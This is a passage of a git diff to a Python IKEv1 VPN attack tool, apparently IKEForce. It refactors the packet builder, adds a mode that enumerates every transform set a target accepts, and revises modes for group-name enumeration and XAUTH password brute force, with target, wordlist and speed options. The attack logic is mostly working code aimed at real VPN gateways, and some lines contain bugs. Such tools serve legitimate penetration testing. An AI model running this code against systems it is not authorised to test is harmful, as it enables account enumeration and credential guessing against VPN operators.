- propTrans = "01" + if phase == 1: + padding = "00"#padding (reserved space) + payLen = "0000" + propNum = "01" + protID = "01" + spiSize = "00" + propTrans = "01" + elif phase == 2: + padding = "00"#padding (reserved space) + payLen = "0000" + propNum = "01" + protID = "03" + spiSize = "04" + propTrans = "01" + spi = self.secRandom(4).encode('hex') + + try: + strPayload = payNext+padding+propNum+protID+spiSize+propTrans+spi + except: + strPayload = payNext+padding+propNum+protID+spiSize+propTrans - #Payload length calculation - maybe make this a method? - strPayload = payNext+padding+payLen+propNum+protID+spiSize+propTrans - arrayPayload = array.array('B', strPayload.decode("hex")) - payLen = len(arrayPayload) - fullpayLen = hex(payLen+prevpayLen)[2:].zfill(4) - arraypayLen = array.array('B', fullpayLen.decode("hex")) - arrayPacket = arrayPayload[:2]+arraypayLen+arrayPayload[4:] + arrayPacket = self.payBuild(strPayload,2,strTransforms) if self.debug > 0: print "Processing Proposal:" print "Next Payload: %s"%self.dicPayloads[str(int(payNext,16))] - print "Payload Length: %s"%fullpayLen + print "Payload Length: %s"%len(arrayPacket) print "SPI Size: %s"%spiSize print "Proposal Transforms: %s"%int(propTrans,16) #just one transform set for now + try: + print "SPI: %s"%spi + except: + pass - return arrayPacket,int(fullpayLen,16) + return arrayPacket + - def ikeTransform(self,et,ht,at,gd,lt_,ld,prevpayLen,*arg): - #Takes 6 transform attributes as arguments: encryption algorithm, hash algorithm, authentication type, life type, life duration + def ikeTransform(self,et,ht,at,gd,lt_,ld,transID,phase,payNext,*arg): + #Takes arguments, 6 transform attributes (encryption algorithm, hash algorithm, authentication type, Dh group number, life type, life duration) along with a transform ID number, which phase (1 or 2) and an option key length argument #Check if key length is specified if arg: keyLen = int(arg[0]*8) @@ -130,78 +189,76 @@ def ikeTransform(self,et,ht,at,gd,lt_,ld,prevpayLen,*arg): else: pass #Transform header - payNext = "00"#(NONE) padding = "00" #padding (reserved space) - payLen = "0000"#temp payload length before calculating size transNum = "01" - transID = "01" padding1 = "0000" #more padding - #Transform payload - try: - encType = "800100" + str(et) - except: - for i in self.dicHType: - if self.dicHType[str(i)] == et.upper(): - et = i.zfill(2) - encType = "800200" + et - try: - hashType = "800200" + int(ht).zfill(2) - except: - for i in self.dicHType: - if self.dicHType[str(i)] == ht.upper(): - ht = i.zfill(2) - hashType = "800200" + ht - authType = "8003" + str(at) - groupType = "800400" + str(gd) - lifeType = "800b00" + str(lt_) - lifeDur = "000c0004" + str(ld) # need to handle this better - - #Payload length calculation - maybe make this a method? - try: - strPayload = payNext+padding+payLen+transNum+transID+padding1+encType+authType+hashType+groupType+lifeType+lifeDur+keyLen - except: - strPayload = payNext+padding+payLen+transNum+transID+padding1+encType+authType+hashType+groupType+lifeType+lifeDur + if phase == 1: + #Build phase 1 Transform payload + try: + encType = "800100" + str(et) + except: + for i in self.dicHType: + if self.dicHType[str(i)] == et.upper(): + et = i.zfill(2) + encType = "800200" + et + try: + hashType = "800200" + int(ht).zfill(2) + except: + for i in self.dicHType: + if self.dicHType[str(i)] == ht.upper(): + ht = i.zfill(2) + hashType = "800200" + ht + authType = "8003" + str(at)# + "8003" + "FDE9" + + groupType = "800400" + str(gd) + lifeType = "800b00" + str(lt_) + lifeDur = "000c0004" + str(ld) # need to handle this better + + try: + strPayload = payNext+padding+transNum+transID+padding1+encTypehashType+authtype+groupType+lifeType+lifeDur+keyLen + except: + strPayload = payNext+padding+transNum+transID+padding1+encType+hashType+authType+groupType+lifeType+lifeDur + + elif phase == 2: + #Build phase 2 transform set + #***static values for now, this will need to be ammended later + print "Building Phase 2 Transform set" + encMode = "80040001"#80040001 - encapsulation mode tunnel + authAlg = "800500" + ht + keyLen = "80060100" #- key length 128 + lifeDur = "000200040020c49b" #- life duration 2147483 + + strPayload = payNext+padding+transNum+transID+padding1+encMode+authAlg+keyLen+lifeDur - arrayPayload = array.array('B', strPayload.decode("hex")) - payLen = len(arrayPayload) - fullpayLen = hex(prevpayLen+payLen)[2:].zfill(4) - arraypayLen = array.array('B', fullpayLen.decode("hex")) - arrayPacket = arrayPayload[:2]+arraypayLen+arrayPayload[4:] + arrayPacket = self.payBuild(strPayload,2) if self.debug > 0: print "Processing Transform payload:" try: print "Next Payload: %s"%self.dicPayloads[str(int(payNext,16))] except TypeError: - print "Next Payload: %s"%self.dicPayloads[str(payNext)] - print "Payload Length: %s"%fullpayLen - print "Transform Number: %s"%transNum - print "Encryption Type: %s"%encType - print "Hash Type: %s"%hashType - print "Auth Type: %s"%authType - print "DHGroup Type: %s"%groupType - print "Life Type: %s"%lifeType - print "Life Duration: %s"%lifeDur + print "Next Payload: %s"%self.dicPayloads[str(payNext)] + print "Transform Number: %s"%transNum + print "Encryption Type: %s"%encType + print "Hash Type: %s"%hashType + print "Auth Type: %s"%authType + print "DHGroup Type: %s"%groupType + print "Life Type: %s"%lifeType + print "Life Duration: %s"%lifeDur try: print "Key Length: %s"%keyLen except: pass - return arrayPacket,int(fullpayLen,16) + return arrayPacket def ikeKE(self, pubKey): payNext = "0a" #(Nonce) padding = "00" # padding (reserved space) - payload = pubKey - payLen = "0000" # Temp for payload length - #Payload length calculation - maybe make this a method? - strPayload = payNext+padding+payLen+payload - arrayPayload = array.array('B', strPayload.decode("hex")) - payLen = len(arrayPayload) - fullpayLen = hex(payLen)[2:].zfill(4) - arraypayLen = array.array('B', fullpayLen.decode("hex")) - arrayPacket = arrayPayload[:2]+arraypayLen+arrayPayload[4:] + strPayload = payNext+padding+pubKey + arrayPacket = self.payBuild(strPayload,2) + if self.debug > 0: print "Processing KE payload:" @@ -209,25 +266,21 @@ def ikeKE(self, pubKey): print "Next Payload: %s"%self.dicPayloads[str(int(payNext,16))] except TypeError: print "Next Payload: %s"%self.dicPayloads[str(payNext)] - print "Payload Length: %s"%fullpayLen - print "KE Payload: %s\n"%payload + print "KE Payload: %s\n"%pubKey return arrayPacket - def ikeNonce(self): + def ikeNonce(self, *arg): #Process Nonce payload - #returns array - payNext = "05" - padding = "00" - nonce = self.secRandom(21).encode('hex') - payLen = "0000" - - #Payload length calculation - maybe make this a method? - strPayload = payNext+padding+payLen+nonce - arrayPayload = array.array('B', strPayload.decode("hex")) - payLen = len(arrayPayload) - fullpayLen = hex(payLen)[2:].zfill(4) - arraypayLen = array.array('B', fullpayLen.decode("hex")) - arrayPacket = arrayPayload[:2]+arraypayLen+arrayPayload[4:] + #Provide the next payload as argument returns array and the nonce data separately + if len(arg) > 0: + payNext = arg[0] + else: + payNext = "05" + padding = "00" #reserved space + ###***probably need to increase the nonce size in the below line with alternative algorithms? + nonce = self.secRandom(20).encode('hex') + strPayload = payNext+padding+nonce + arrayPacket = self.payBuild(strPayload, 2) if self.debug > 0: print "Processing Nonce payload:" @@ -235,27 +288,21 @@ def ikeNonce(self): print "Next Payload: %s"%self.dicPayloads[str(int(payNext,16))] except TypeError: print "Next Payload: %s"%self.dicPayloads[str(payNext)] - print "Payload Length: %s"%fullpayLen print "Nonce Payload: %s\n"%nonce return arrayPacket,nonce - def ikeID(self,idData,idType): + def ikeID(self, idData, idType, port, protID, payNext): #Processing IKE ID payload - #returns array - payNext = "00" #(NONE) + #Provide string ID, ID type, port, protocol ID and next payload as arguments. Returns array of the whole payload and the ID for crypto usage padding = "00" #padding (reserved space) - payLen = "0000" - protID = "11"#static value for now - port = "01f4" #static value of 500 for now, this may need to be dynamic for non-default port functionality + if idType == "03" or idType =="02": + idData = idData.encode('hex') + else: + pass - #Payload length calculation - maybe make this a method? - strPayload = payNext+padding+payLen+idType+protID+port+idData.encode('hex') - arrayPayload = array.array('B', strPayload.decode("hex")) - payLen = len(arrayPayload) - fullpayLen = hex(payLen)[2:].zfill(4) - arraypayLen = array.array('B', fullpayLen.decode("hex")) - arrayPacket = arrayPayload[:2]+arraypayLen+arrayPayload[4:] + strPayload = payNext+padding+idType+protID+port+idData + arrayPacket = self.payBuild(strPayload, 2) if self.debug > 0: print "Processing Identification Payload:" @@ -263,22 +310,16 @@ def ikeID(self,idData,idType): print "Next Payload: %s"%self.dicPayloads[str(int(payNext,16))] except TypeError: print "Next Payload: %s"%self.dicPayloads[str(payNext)] - print "Payload Length = %s"%payLen print "ID Type: %s"%idType print "Group ID: %s"%idData - ID_i = strPayload[8:] + ID_i = strPayload[4:] return arrayPacket,ID_i def ikeHash(self,payNext,hash): padding = "00" - payLen = "0000" - strPayload = payNext+padding+payLen+hash - arrayPayload = array.array('B', strPayload.decode("hex")) - payLen = len(arrayPayload) - fullpayLen = hex(payLen)[2:].zfill(4) - arraypayLen = array.array('B', fullpayLen.decode("hex")) - arrayPacket = arrayPayload[:2]+arraypayLen+arrayPayload[4:] + strPayload = payNext+padding+hash + arrayPacket = self.payBuild(strPayload, 2) if self.debug > 0: print "Processing Hash Payload:" @@ -286,28 +327,21 @@ def ikeHash(self,payNext,hash): print "Next Payload: %s"%self.dicPayloads[str(int(payNext,16))] except TypeError: print "Next Payload: %s"%self.dicPayloads[str(payNext)] - print "Payload Length: %s"%payLen return arrayPacket def ikeNot(self,payNext,msgType,spi,notData): padding = "00" - payLen = "0000" doi = "00000001" protID = "01" - spiSize = "10" - + spiSize = str(hex(len(spi)/2))[2:].zfill(2) try: - strPayload = payNext+padding+payLen+doi+protID+spiSize+msgType+spi+notData + strPayload = payNext+padding+doi+protID+spiSize+msgType+spi+notData except TypeError: msgType = hex(msgType)[2:].zfill(4) - strPayload = payNext+padding+payLen+doi+protID+spiSize+msgType+spi+notData + strPayload = payNext+padding+doi+protID+spiSize+msgType+spi+notData - arrayPayload = array.array('B', strPayload.decode("hex")) - payLen = len(arrayPayload) - fullpayLen = hex(payLen)[2:].zfill(4) - arraypayLen = array.array('B', fullpayLen.decode("hex")) - arrayPacket = arrayPayload[:2]+arraypayLen+arrayPayload[4:] + arrayPacket = self.payBuild(strPayload, 2) if self.debug > 0: print "Processing Notification Payload:" @@ -315,35 +349,29 @@ def ikeNot(self,payNext,msgType,spi,notData): print "Next Payload: %s"%self.dicPayloads[str(int(payNext,16))] except TypeError: print "Next Payload: %s"%self.dicPayloads[str(payNext)] - print "Payload Length: %s"%payLen print "DOI: %s"%doi print "Protocol ID: %s"%protID print "SPI Size: %s"%spiSize try: - print "Notify Message Type: %s"%self.dicNotType[str(msgType)] + print "Notify Message Type: %s"%self.dicNotType[str(int(msgType,16))] except: - print "Notify Message Type: %s (Unknown Type)"%msgType + print "Notify Message Type: %s (Unknown Type)"%int(msgType,16) print "Notification Data: %s\n"%notData return arrayPacket def ikeVID(self,payNext,VIDdata): - #Provide the VID data - #returns an array + #Provide the next payload number and VID data + #Returns an array of the payload padding = "00" - payLen = "0000" try: payNext = hex(payNext)[2:].zfill(2) - strPayload = payNext+padding+payLen+hash + strPayload = payNext+padding+hash except: - strPayload = payNext+padding+payLen+VIDdata + strPayload = payNext+padding+VIDdata - arrayPayload = array.array('B', strPayload.decode("hex")) - payLen = len(arrayPayload) - fullpayLen = hex(payLen)[2:].zfill(4) - arraypayLen = array.array('B', fullpayLen.decode("hex")) - arrayPacket = arrayPayload[:2]+arraypayLen+arrayPayload[4:] + arrayPacket = self.payBuild(strPayload, 2) if self.debug > 0: print "Processing VID Payload:" @@ -351,7 +379,6 @@ def ikeVID(self,payNext,VIDdata): print "Next Payload: %s"%self.dicPayloads[str(int(payNext,16))] except TypeError: print "Next Payload: %s"%self.dicPayloads[str(payNext)] - print "Payload Length: %s"%payLen print "VID Data: %s\n"%VIDdata return arrayPacket @@ -409,7 +436,10 @@ def ikeXAUTH(self,typeXAUTH,attXAUTH,attXAUTHValue,*args): print "Mode Config Attribute Length: %s"%attLen print "Mode Config Attribute Value: %s"%attXAUTHValue - payloadXAUTH = hex(attXAUTH)[2:].zfill(4)+hex(attLen)[2:].zfill(4)+attXAUTHValue.encode('hex') + if attXAUTH == 16525: + payloadXAUTH = hex(attXAUTH)[2:].zfill(4)+hex(6)[2:].zfill(4)+attXAUTHValue.encode('hex') + else: + payloadXAUTH = hex(attXAUTH)[2:].zfill(4)+hex(attLen)[2:].zfill(4)+attXAUTHValue.encode('hex') if args and args[0] == "cisco": if self.debug > 0: @@ -425,7 +455,6 @@ def ikeModeCFG(self,payNext,mcfgType,mcfgAtts): #Process ModeCFG payload (XAUTH) #run ikeXAUTH first to get the mcfgAtts payload padding = "00" - payLen = "0000" #Convert int to hex in case value is supplied as int try: mcfgType = hex(mcfgType)[2:].zfill(2) @@ -433,12 +462,8 @@ def ikeModeCFG(self,payNext,mcfgType,mcfgAtts): pass mcfgID = "0000" - strPayload = payNext+padding+payLen+mcfgType+padding+mcfgID+mcfgAtts - arrayPayload = array.array('B', strPayload.zfill(2).decode("hex")) - payLen = len(arrayPayload) - fullpayLen = hex(payLen)[2:].zfill(4) - arraypayLen = array.array('B', fullpayLen.decode("hex")) - arrayPacket = arrayPayload[:2]+arraypayLen+arrayPayload[4:] + strPayload = payNext+padding+mcfgType+padding+mcfgID+mcfgAtts + arrayPacket = self.payBuild(strPayload, 2) if self.debug > 0: print "Processing Mode Config Payload:" @@ -446,11 +471,9 @@ def ikeModeCFG(self,payNext,mcfgType,mcfgAtts): print "Next Payload: %s"%self.dicPayloads[str(int(payNext,16))] except: print "Next Payload: %s"%self.dicPayloads[str(payNext)] - print "Payload Length: %s"%payLen print "Mode Config Message Type: %s"%self.dicMCFGType[str(int(mcfgType,16))] print "Mode Config ID: %s\n"%mcfgID - return arrayPacket @@ -490,8 +513,9 @@ def ikeDelete(self,payNext,iCookie,rCookie): return arrayPacket - def packPacket(self,arrayBytes,arrayLen): + def packPacket(self,arrayBytes): #Pack bytes ready for sending to socket + arrayLen = len(arrayBytes) packedBytes = struct.pack(("B"*arrayLen),*arrayBytes) return packedBytes @@ -511,36 +535,41 @@ def sendPacket(self,bytes,target,sport,port): print "Sending: %s"%bytes.encode('hex') - - def main(self,iCookie,rCookie,eType,hashType,authType,DHGroup,IDdata,flags,target,idType,sport,prevpayLen,keyLen): + def main(self,iCookie,rCookie,eType,hashType,authType,DHGroup,IDdata,flags,target,idType,sport,keyLen): ikeneg = IKEv1Client(self.debug) #IKE initialization packet + try: + phase + except: + phase = 1 + try: + version + except: + version = "10" + #Process transform before proposal to get payload length and then SA #Tranform if eType == "07" or int(eType) == 7 or eType == "AES": - arrayTrans,paylenTrans = ikeneg.ikeTransform(eType,hashType,authType,DHGroup,"01","00007080",prevpayLen,keyLen)#static lifetime values for now + arrayTrans = ikeneg.ikeTransform(eType,hashType,authType,DHGroup,"01","00007080","01",phase,"00", keyLen)#static lifetime values for now else: - arrayTrans,paylenTrans = ikeneg.ikeTransform(eType,hashType,authType,DHGroup,"01","00007080",prevpayLen) - lenTrans = len(arrayTrans) - bytesTrans = struct.pack(("B"*lenTrans),*arrayTrans) + arrayTrans = ikeneg.ikeTransform(eType,hashType,authType,DHGroup,"01","00007080","01",phase,"00") + bytesTrans = ikeneg.packPacket(arrayTrans) #Proposal - arrayProposal,paylenProp = ikeneg.ikeProposal(paylenTrans) - lenProposal = len(arrayProposal) - bytesProposal = struct.pack(("B"*lenProposal),*arrayProposal) + arrayProposal = ikeneg.ikeProposal(bytesTrans.encode('hex'), "00", phase) + bytesProposal = ikeneg.packPacket(arrayProposal) #SA - arraySA = ikeneg.ikeSA(lenProposal+lenTrans)#SA payload length is the length of the transform and proposal payloads combined - lenSA = len(arraySA) - bytesSA = struct.pack(("B"*lenSA),*arraySA) - - arraySA_i = arraySA[4:]+arrayProposal+arrayTrans - lenSA_i = len(arraySA_i) - bytesSA_i = struct.pack(("B"*lenSA_i),*arraySA_i) - SA_i = bytesSA_i.encode('hex') + arraySA = ikeneg.ikeSA(bytesProposal.encode('hex'))#+bytesTrans.encode('hex')) + bytesSA = ikeneg.packPacket(arraySA) + #Pull out the part included in crypto operations + arraySA_i = arraySA[4:] + SA_i = ikeneg.packPacket(arraySA_i).encode('hex') + #Key Exchange ikeDH = dh.DiffieHellman(DHGroup) + ###***need to update the below line when using alternative DH groups? privKey = ikeDH.genPrivateKey(1024) pubKey = ikeDH.genPublicKey(privKey) hexPrivKey = '{0:x}'.format(privKey)#using new formating to deal with long @@ -555,37 +584,33 @@ def main(self,iCookie,rCookie,eType,hashType,authType,DHGroup,IDdata,flags,targe print "Initiator DH Public Key (hex): %s"%hexPubKey arrayKE = ikeneg.ikeKE(hexPubKey) - lenKE = len(arrayKE) - bytesKE = struct.pack(("B"*lenKE),*arrayKE) + bytesKE = ikeneg.packPacket(arrayKE) #Nonce payload arrayNonce,nonce = ikeneg.ikeNonce() - lenNonce = len(arrayNonce) - bytesNonce = struct.pack(("B"*lenNonce),*arrayNonce) + bytesNonce = ikeneg.packPacket(arrayNonce) #ID payload - arrayID,ID_i = ikeneg.ikeID(IDdata,idType) - lenID = len(arrayID) - bytesID = struct.pack(("B"*lenID),*arrayID) + arrayID,ID_i = ikeneg.ikeID(IDdata,idType,"01f4","11","0d")#next payload = none (0), 01f4 = port (500) 0d = vid + bytesID = ikeneg.packPacket(arrayID) - #Header - lenHDR = len(bytesSA+bytesProposal+bytesTrans+bytesKE+bytesNonce+bytesID) - arrayHDR = ikeneg.ikeHeader("01",iCookie,rCookie,flags,"04","00000000",lenHDR) #exchange type statically 4 (aggressive) here - lenHDR = len(arrayHDR) - bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) + #VID payload (XAuth) + arrayVID = ikeneg.ikeVID("00","09002689dfd6b712") + bytesVID = ikeneg.packPacket(arrayVID) + #VID payload (DPD) + arrayVID1 = ikeneg.ikeVID("0d","afcad71368a1f1c96b8696fc77570100") + bytesVID1 = ikeneg.packPacket(arrayVID1) - #Process full packet to determine payload length for correctly formed header - bytesIKE = bytesHDR+bytesSA+bytesProposal+bytesTrans+bytesKE+bytesNonce+bytesID - payLen = (len(bytesIKE) + 8) / 2 - fullpayLen = hex(payLen)[2:].zfill(8) - arraypayLen = array.array('B', fullpayLen.decode("hex")) - - lenpayLen = len(arraypayLen) - bytespayLen = struct.pack(("B"*lenpayLen),*arraypayLen) - bytesIKE = bytesHDR+bytesSA+bytesProposal+bytesTrans+bytesKE+bytesNonce+bytesID + #Header + payloads = bytesSA+bytesKE+bytesNonce+bytesID+bytesVID1+bytesVID + arrayIKE = ikeneg.ikeHeader("01",iCookie,rCookie,version,flags,"04","00000000",payloads.encode('hex')) + bytesIKE = ikeneg.packPacket(arrayIKE) + + #Send packet ikeneg.sendPacket(bytesIKE,target,sport,port) #Gather any details required for later processing of crypto etc dicCrypto = {"iCookie":iCookie,"rCookie":rCookie,"eType":eType,"hashType":hashType,"authType":authType,"DHGroup":DHGroup,"nonce_i":nonce,"SA_i":SA_i,"ID_i":ID_i,"privKey":privKey,"DHPubKey_i":hexPubKey} return dicCrypto + diff --git a/ikeforce.py b/ikeforce.py index 05dd305..ef72213 100755 --- a/ikeforce.py +++ b/ikeforce.py @@ -15,12 +15,14 @@ import vid from optparse import OptionParser from termios import tcflush, TCIOFLUSH +import itertools usageString = "Usage: %prog [target] [mode] -w /path-to/wordlist.txt [optional] -t 5 1 1 2\nExample: %prog 192.168.1.110 -e -w groupnames.txt" parser = OptionParser(usage=usageString) parser.add_option("-w","--wordlist",dest="wordlist",default=None,type="string",help="Path to wordlist file") parser.add_option("-t","--trans",dest="trans",default=None,help="[OPTIONAL] Transform set: encryption type, hash type, authentication type, dh group (5 1 1 2)",nargs=4,type="int") parser.add_option("-e","--enum",dest="enum",default=None,action="store_true",help="Set Enumeration Mode") +parser.add_option("-a","--all",dest="all",default=None,action="store_true",help="Set Transform Set Enumeration Mode") parser.add_option("-b","--brute",dest="brute",default=None,action="store_true",help="Set XAUTH Brute Force Mode") parser.add_option("-k","--psk",dest="psk",default=None,type="string",help="Pre Shared Key to be used with Brute Force Mode") parser.add_option("-i","--id",dest="id",default=None,type="string",help="ID or group name. To be used with Brute Force Mode") @@ -33,7 +35,8 @@ parser.add_option("-y","--idtype",dest="idtype",default=None,type="int",help="[OPTIONAL] ID Type for Identification payload. Default is 2 (FQDN)") parser.add_option("-s","--speed",dest="speed",default=3,type="int",help="[OPTIONAL] Speed of guessing attempts. A numerical value between 1 - 5 where 1 is faster and 5 is slow. Default is 3") parser.add_option("-l","--keylen",dest="keylen",default=None,type="int",help="[OPTIONAL] Key Length, for use with AES encryption types") - +parser.add_option("-v","--vendor",dest="vendor",default=None,type="string",help="[OPTIONAL] Vendor Type (cisco or watchguard currently accepted)") +parser.add_option("--version",dest="version",default=None,type="int",help="[OPTIONAL] IKE verison (default verison 1)") (opts,args) = parser.parse_args() @@ -50,6 +53,7 @@ usercount = 0 enum = opts.enum +all = opts.all brute = opts.brute psk = opts.psk IDdata = opts.id @@ -60,6 +64,8 @@ connect = opts.connect trans = opts.trans idType = opts.idtype +vendorType = opts.vendor +version = opts.version try: opts.sport @@ -75,6 +81,11 @@ dicVIDs = vid.dicVIDs +try: + version +except: + version = "20" + #Check required arguments are provided if enum == True: print "[+]Program started in Enumeration Mode" @@ -84,7 +95,7 @@ pass else: print usage - print "target IP address argument required" + print "Target IP address argument required" exit(0) if wordlist != None: wordsfile = open(wordlist, "r") @@ -94,6 +105,16 @@ print "Group/ID wordlist required for Enumeration Mode" exit(0) +elif all == True: + print "[+]Program started in Transform Set Enumeration Mode" + if targetIP != None: + pass + else: + print usage + print "Target IP address argument required" + exit(0) + + elif brute == True: print "[+]Program started in XAUTH Brute Force Mode" @@ -106,7 +127,7 @@ pass else: print usage - print "-t target IP address argument required" + print "-t Target IP address argument required" exit() if wordlist != None: wordsfile = open(wordlist, "r") @@ -142,7 +163,7 @@ pass else: print usage - print "-t target IP address argument required" + print "-t Target IP address argument required" exit() if IDdata != None: pass @@ -163,7 +184,7 @@ else: print usage - print "-e or -b (mode) argument required" + print "-e, -a, or -b (mode) argument required" exit() try: @@ -259,7 +280,90 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): print 'IKE Server running in %s'%t.getName() t.start() while True: - if enum: + if all: + IDdata = "ANYID" + ikeneg = ikeclient.IKEv1Client(debug) + ikeCrypto = crypto.ikeCrypto() + print "[+]Checking for acceptable Transforms\n" + print "============================================================================================\nAccepted (AM) Transform Sets\n============================================================================================" + #Temporary dictionary of DH groups currently supported by IKEForce. This will probably be permanent as most hosts that use AM will not be able to or will be not be bothered to use large primes ;) + DHGroups = dicDHGroup = {'1':'default 768-bit MODP group','2':'alternate 1024-bit MODP group'} + #Iterate through all combinations of the Transform dictionaries + for i in itertools.product(ikeneg.dicEType, ikeneg.dicHType, ikeneg.dicAType, DHGroups): + #try: + encType = i[0].zfill(2) + hashType = i[1].zfill(2) + authType = hex(int(i[2]))[2:].zfill(4) + DHGroup = i[3].zfill(2) + + if debug > 0: + print "Trying Set:%s"%str(i) + if len(packets) == 0: + if debug > 0: + print "\n--------------------Sending initial packet--------------------" + #try: + # iCookie + #except: + iCookie = ikeneg.secRandom(8).encode('hex') + try: + rCookie + except: + rCookie = "0000000000000000" + initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,keyLen) + dicCrypto = initDict + if debug > 0: + print "Waiting for response..." + + countTime = 0 + while len(packets) < 1: + time.sleep(float(speed)/10) + if countTime > 25: + break + countTime += 1 + + if len(packets) == 1: + #Process Header first + ikeHandling = ikehandler.IKEv1Handler(debug) + ikeHDR = ikeHandling.parseHeader(packets[-1]) + + #Check the packet is for this session + if ikeHDR[1] == dicCrypto["iCookie"]: + pass + else: + if debug > 0: + print "Packet received does not match this session, this is probably from a previous incarnation." + print "Removing packet" + del packets[0] + continue + + respDict,listVIDs = ikeHandling.main(packets[-1],encType,hashType) + + #Check if packet is informational + if respDict["xType"] == 5: + if int(respDict["notmsgType"]) == 14: + if debug > 0: + print "[-] Notify Message Received: %s"%ikeHandling.dicNotType[str(respDict["notmsgType"])] + print "[-] Invalid Transform Set selected\n" + del packets[:] + else: + if debug > 0: + try: + print "[-] Notify Message Received: %s"%ikeHandling.dicNotType[str(respDict["notmsgType"])] + except: + print "[-] Unknown Notify Type received: %s"%respDict["notmsgType"] + del packets[:] + + elif respDict["xType"] == 4: + print "| %s : %s | %s : %s | %s : %s | %s : %s |\n--------------------------------------------------------------------------------------------"%(i[0], ikeneg.dicEType[i[0]], i[1], ikeneg.dicHType[i[1]], i[2], ikeneg.dicAType[i[2]], i[3], dicDHGroup[i[3]]) + del packets[:] + continue + + + print "============================================================================================" + exit() + + + elif enum: wordline = 0 IDdata = "thiSIDDoesnotexit33349204" psk = "anypskthatdoesnotexistfhfhssi575" @@ -277,14 +381,21 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): rCookie except: rCookie = "0000000000000000" - initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,0,keyLen) + initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,keyLen) dicCrypto = initDict - print "Analyzing initial response. Please wait, this can take up to 30 seconds..." + print "Analyzing initial response. Please wait, this can take up to 15 seconds..." #Count lines in wordlist for later use for w in wordsfile: wordcount += 1 wordsfile.seek(0) - time.sleep(10) + countTime = 0 + while len(packets) < 1: + time.sleep(1) + if countTime > 10: + break + countTime += 1 + + #First device check, checking for response packet if len(packets) == 0: if debug > 0: @@ -315,7 +426,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): if debug > 0: print "\n--------------------Sending first Aggressive Mode packet with ID: %s--------------------"%IDdata - initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,0,keyLen) + initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,keyLen) time.sleep(speed) if len(packets) > 0: ikeHandling = ikehandler.IKEv1Handler(debug) @@ -345,10 +456,13 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): enumType = "Info" print "[+]Device allows enumeration via 'INVALID-ID-INFORMATION' response" elif int(respDict["notmsgType"]) == 14: - print "[-] Invalid Transform Set selected. Make sure you have an accepted set before running this tool" + print "[-] Invalid Transform Set selected. Run the tool again with the -a flag to enumerate all accepted AM transform sets" exit() else: - print "[-] Unknown Notify Type received: %s"%ikehandler.docNotType[respDict["notmsgType"]] + try: + print "[-] Notify Message Received: %s"%ikeHandling.dicNotType[str(respDict["notmsgType"])] + except: + print "[-] Unknown Notify Type received: %s"%respDict["notmsgType"] exit() @@ -381,12 +495,11 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): rCookie = "0000000000000000" if debug > 0: print "\n--------------------Sending first Aggressive Mode packet with ID: %s--------------------"%IDdata - initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,0,keyLen) + initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,keyLen) dicCrypto = dict(initDict.items()) time.sleep(speed) if len(packets) == 1: - #Parse full packet respDict,listVIDs = ikeHandling.main(packets[-1],encType,hashType) #Update state/crypto dictionary @@ -429,11 +542,12 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): try: if "Dead Peer" in dicVIDs[i]: print "[-]Not vulnerable to DPD group name enumeration" + time.sleep(10) if len(packets) + len(dupPackets) > 1: - print "[-]Not vulnerable to multiple response group name enuemration. Device is fully patched. Exiting...\n" - time.sleep(2) + print "[-]Not vulnerable to multiple response group name enumeration. Device is fully patched. Exiting...\n" exit() else: + print len(packets) + len(dupPackets) print "[+]Device is vulnerable to multiple response group name enumeration" enumType = "Cisco2" break @@ -442,6 +556,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): pass except TypeError: + print "FAILED" pass else: @@ -499,7 +614,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): rCookie = "0000000000000000" if debug > 0: print "\n--------------------Sending first Aggressive Mode packet with ID: %s--------------------"%IDdata - initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,0,keyLen) + initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,keyLen) dicCrypto = dict(initDict.items()) time.sleep(speed) try: @@ -517,7 +632,8 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): continue except IndexError: - print "[*] Correct ID Found: %s. However this Group/ID probably does not have a PSK associated with it and the handshake will not complete. Continuing...\n"%IDdata + if debug > 0: + print "[*] Potential Correct ID Found: %s. However this Group/ID probably does not have a PSK associated with it and the handshake will not complete. Continuing...\n"%IDdata pass print "[-]ID not found, try another wordlist. Exiting...\n" time.sleep(2) @@ -552,13 +668,14 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): rCookie = "0000000000000000" if debug > 0: print "\n--------------------Sending first Aggressive Mode packet with ID: %s--------------------"%IDdata - initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,0,keyLen) + initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,keyLen) dicCrypto = dict(initDict.items()) time.sleep(speed) if len(packets) < 1: time.sleep(4) if len(packets) < 1: - print "[*] Correct ID Found: %s. However this Group/ID does not have a PSK associated with it. Continuing...\n"%IDdata + if debug > 0: + print "[*] Potential Correct ID Found: %s. However this Group/ID does not have a PSK associated with it. Continuing...\n"%IDdata continue else: pass @@ -579,7 +696,8 @@ class 